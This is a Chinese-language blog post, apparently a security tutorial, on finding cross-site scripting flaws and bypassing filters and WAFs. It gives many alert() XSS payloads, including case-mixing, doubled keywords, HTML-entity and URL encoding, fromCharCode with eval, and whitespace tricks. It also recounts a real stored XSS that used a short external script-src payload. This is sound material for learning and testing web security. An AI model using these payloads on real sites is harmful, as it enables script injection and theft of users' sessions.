前文

Hello,大家好,我是None Sec的C_soon5,今天给大家讲讲XSS Bypass

XSS挖掘思路

1:输入点和输出点进行XSS

输入点

URL参数

表单内容

JSONP

输出点

输出在标签之间,例如:<script>输出</script>

输出在属性之中,例如:<input value="输出" name="keyword">

输出在注释之中,例如://document.getElementById("order_select").value="输出"

2:扫描器

这里强烈推荐Xray,配合被动扫描,简直比一刀999还爽

Bypass

之前我根据CTF特训营的XSS Bypass写了篇文章:XSS绕WAF,大家可以看看

1:未经过任何过滤直接输出

<script>alert(1)</script>

<svg/οnlοad=alert(1)>

<img src=# οnerrοr=alert(1)>

<img src=# οnerrοr="javascript:alert(1)">

<a href=# οnmοuseοver=alert(1)>click</a>

<a href="javascript:alert(1)">click</a>

<iframe/οnlοad=alert(1)></iframe>

2:过滤关键字绕过

a、大小写绕过(仅限于未先转换为小写,直接替换关键字的情形)

<Script>alert(1)</scRipt>

<img srC=# onError=alErt(1)></img>

<a href=# onMouseover=Alert(1)></a>

b、双写关键词绕过(仅限于将关键字替换为空的情形,且仅仅替换一次的情形)

<scriscriptpt>alert(1)</scscriptript>

<img src=# onerronerroror=alert(1)></img>

c、编码绕过

编码绕过知识不是很了解,可以看我之前的文章:XSS编码绕过讲解

放一些我常用的编码网站:编码解码在线、107000工具站、jsons、HTML字符实体转换

HTML实体字符    

注意:标签名不能被编码

这里能绕过的原因就是因为HTML编码的地方在属性中,会自动解码

编码前

<a href="javascript:alert(1)">

编码后

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">click</a>

在放一个经典的例子

<a href="%26%23x6a%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%0A%26%23x74%3B%26%23x3a%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%0A%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x31%3B%0A%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%0A%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x36%3B%26%23x33%3B%26%23x25%3B%26%23x35%3B%0A%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%0A%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x35%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%0A%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%0A%26%23x37%3B%26%23x25%3B%26%23x33%3B%26%23x32%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%0A%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x37%3B%26%23x25%3B%0A%26%23x33%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x35%3B%26%23x29%3B">click</a>

最后的形式是以URL形式的,因为实体化中有#,#中在URL是注释的意思,传不过去

解码顺序:URL->HTML->URL->JS

编码顺序:JS->URL->HTML->URL(与解码顺序相反)

因为在属性中,所以先HTML解码,结果如下

然后因为在href,所以进行URL编码

最后因为Schema为Javascript,进行JS解码

最终结果就是:<a href="javascript:alert(15)">    

3:过滤引号绕过

a、使用“/”替换引号

<script>alert(/hello/)</script>

<svg/οnlοad=alert(/hello/)>

<iframe/οnlοad=alert(/hello/)></iframe>

<img src=# οnerrοr=alert(/hello/)>

b、使用String.fromCharCode

fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用

编码前

<script>alert('insight-labs')</script>

 

编码后<script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

4:过滤空格绕过

使用%0d、%0a绕过

编码前:<img src=x οnerrοr=alert(1)>

编码后:<img%0dsrc=1%0dοnerrοr=alert(/1/)>

<svg/οnlοad=alert(1)>  标签名称和第一个属性间可以使用 "/" 代替空格

扩展知识点

1:拦截JS黑魔法

首先要了解CSS语法的知识,简单选择器和复杂选择器,定义在<style>标签中,结尾有分号

简单选择器

复杂选择器

黑魔法

思路:导入一张图片,用 )}</style> 标签闭合,进行XSS

2:JS解析模型

a.源码处理

判断代码语法是否正确

b.函数变量注册

函数和变量注册到全局中

实例

这里放一个某专属的存储XSS

思路 当时就是在个人介绍处 输入<a> 嗯 没有过滤 感觉有戏了

然后就直接上payload:<img src=x οnerrοr=alert(1)>

然后就发现过滤了事件属性和敏感的关键词

然后经过了几次的尝试发现 还有长度限制 30位

但是<script>标签没有过滤呀 没有</script>的闭合也是没用的

我就懵逼了 这样的话 就算能过这个 也没有办法利用阿 肯定危害降低了

不行没啥思路了 去群里求救  这里z神闪亮登场了

来个一个 超短的payload:

<script src=㎜₨.㏄></script>

把js文件当做首页就完事 只需要26个字符串

(时间太久已经没图了 哈哈哈哈哈)

XSS 绕过思路 bypass 之日天日地日空气相关推荐

  1. WAF绕过思路整理(挺全)

    转载至:https://harmoc.com/secnote/waf%E7%BB%95%E8%BF%87%E6%80%9D%E8%B7%AF%E6%95%B4%E7%90%86.html WAF绕过思 ...

  2. 【奇淫巧技】XSS绕过技巧

    XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...

  3. 挖洞技巧:APP手势密码绕过思路总结

    说到APP手势密码绕过的问题,大家可能有些从来没接触过,或者接触过,但是思路也就停留在那几个点上,这里我总结了我这1年来白帽子生涯当中所挖掘的关于这方面的思路,有些是网上已经有的,有些是我自己不断摸索 ...

  4. xss绕过尖括号和双括号_xss挑战平台练习

    -------------------------XSS挑战之旅------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss ...

  5. xss绕过字符过滤_XSS绕过实战练习

    前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...

  6. XSS绕过,XSS过滤速查,XSS绕过姿势

    1.介绍 这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南.文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss ...

  7. XSS绕过安全狗WAF

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XSS绕过安全狗WAF. 一.测试环境搭建 我们使用Vmware虚拟机搭建靶场环境.在Vmware虚拟机上,安装有PHPStudy,如下所示: 然后安 ...

  8. 东塔攻防世界—xss绕过安全狗

    靶场地址:XSS绕过安全狗 常规script会被拦截 更换xss构造方式 <svg onload="alert(document.domain)">

  9. springboot整合redis、mybatis、@EnableScheduling定时任务,实现日访问量与日活量的统计与记录

    目录 一.实现目标 二.windows版本redis下载与安装 三.springboot集成redis 四.springboot集成mybatis 集成通用mapper 五.实现日访问量 @Enabl ...

最新文章

  1. LeetCode 6 Z字形变换
  2. php umount强制,linux mount挂载与umount 卸载及“Device is busy”问题 | 璞玉(POOY)
  3. Codeforces Round #521 (Div.3)题解
  4. linux 进程间通信 dbus-glib【实例】详解一(附代码)(d-feet工具使用)
  5. linux建立与删除目录
  6. 6月开招|工业互联才是王道,最高可达50k!
  7. [react] 使用webpack打包React项目,怎么减小生成的js大小?
  8. jquery ajax json转换出错Invalid JSON
  9. Linux 内核自旋锁
  10. 推荐系统相关科技论文写作建议
  11. 项目使用ts辅助_启动辅助项目后的前100天该做什么
  12. php 向py发起请求,Python向PHP发起GET与POST请求
  13. ubuntu日常使用指南
  14. [线性筛][筛素数/筛约数个数]
  15. java实验小狗状态_Java第6章-接口与多态实验2(小狗的状态)
  16. Jquery.EasyUI datebox控件
  17. RSA签名和验签Util
  18. 计算机科学与技术用惠普星15,暑期最有颜值的学习装备,惠普星14高性能轻薄本必选...
  19. MATLAB的bertool绘制误码率理论值与仿真值对比曲线
  20. Sass Module 介绍

热门文章

  1. 从打车到专车,滴滴们除了烧钱还有什么?
  2. Windows下Ubuntu子系统,开启复制粘贴功能方法
  3. 前端的几种数据存储方式
  4. SISD、MIMD、SIMD、MISD计算机的体系结构的Flynn分类法
  5. SQL Server数据库锁机制及类型
  6. android序列帧动画纯代码,H5序列帧动画实现过程(附源码)
  7. 微博博主侮辱女性 街猫koryili
  8. Oracle 11g 新特性 -- Online Patching (Hot Patching 热补丁)说明
  9. PDF怎么编辑修改内容的免费方法
  10. linux下分区ntfs,简易教程:Linux下NTFS分区的写操作